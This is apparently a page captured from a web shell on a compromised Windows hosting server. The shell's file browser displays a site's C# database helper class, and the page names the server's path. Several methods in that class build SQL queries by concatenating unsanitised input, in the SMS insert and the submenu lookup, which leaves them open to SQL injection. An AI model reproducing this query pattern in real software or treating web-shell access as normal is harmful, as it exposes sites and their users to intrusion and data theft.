TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/connection_sql.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;

using System.Web.UI.WebControls;


namespace Directory
{
    public class connection_sql
    {
        public SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["conn_ConnectionString"].ConnectionString.ToString());

        string qry;

        SqlDataAdapter sda;
        SqlCommand cmd;

        public void MakeConnection()
        {
            if (conn.State != ConnectionState.Open)
            {
                conn.Open();
            }
        }

        public void CloseConnection()
        {
            if (conn.State == ConnectionState.Open)
            {
                conn.Close();
            }
        }

        public DataSet getDataSet(string qry)
        {
            if (conn.State != ConnectionState.Open)
            {
                conn.Open();
            }

            DataSet ds = new DataSet();
            SqlDataAdapter sda = new SqlDataAdapter(qry, conn);
            sda.Fill(ds);
            conn.Close();
            return ds;
        }

        public DataTable getDataTable(string qry)
        {
            if (conn.State != ConnectionState.Open)
            {
                conn.Open();
            }
            DataTable dt = new DataTable();
            SqlDataAdapter sda = new SqlDataAdapter(qry, conn);
            sda.Fill(dt);
            conn.Close();
            return dt;
        }

        public string getRecordID(string qry)
        {
            if (conn.State != ConnectionState.Open)
            {
                conn.Open();
            }
            DataTable dt = new DataTable();
            SqlDataAdapter sda = new SqlDataAdapter(qry, conn);
            sda.Fill(dt);
            conn.Close();
            if (dt.Rows.Count > 0)
                return dt.Rows[0][0].ToString();
            else
                return "";

        }

        public int ExcuteCommand(string qry)
        {
            int x;
            if (conn.State != ConnectionState.Open)
            {
                conn.Open();
            }
            SqlCommand cmd = new SqlCommand(qry, conn);
            x = cmd.ExecuteNonQuery();
            conn.Close();
            return x;
        }

        public int SaveIndivisualSMSTransactions(string Mobile1, string Mobile2)
        {   int x=0;
            try
            {
                
                if (conn.State != ConnectionState.Open)
                {
                    conn.Open();
                }
                string qry = "Insert into tblDailySMS (Mobile1, Mobile2, Autodate) Values ('" + Mobile1 + "', '" + Mobile2 + "', getdate())";
                SqlCommand cmd = new SqlCommand(qry, conn);
                x = cmd.ExecuteNonQuery();
                conn.Close();
                return x;
            }
            catch(Exception ex)
            {
                return x;
            }            
        }

        public void getContents(int ID, Literal Literal1, Image Image1)
        {
            MakeConnection();
            DataTable dt = getDataTable(@"SELECT * from tbl_subMenu where id =" + ID);
            if (dt.Rows.Count == 1)
            {
                Literal1.Text = dt.Rows[0]["Contents"].ToString();
                Image1.ImageUrl = dt.Rows[0]["ImagePath"].ToString();
            }
            CloseConnection();
        }   

        public string getInstituteName()
        {
            string ins = "";

            ins = getRecordID("Select SMS_Title From contact_details ");
            return ins;

        }

        public int CRUID_Operation(string ProcName, SqlParameter[] param)
        {
            SqlCommand cmd = new SqlCommand(ProcName, conn);
            conn.Open();
            cmd.CommandType = CommandType.StoredProcedure;
            cmd.Parameters.AddRange(param);
            int cruuidcount = cmd.ExecuteNonQuery();
            conn.Close();
            return cruuidcount;

        }
     
    }
}

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3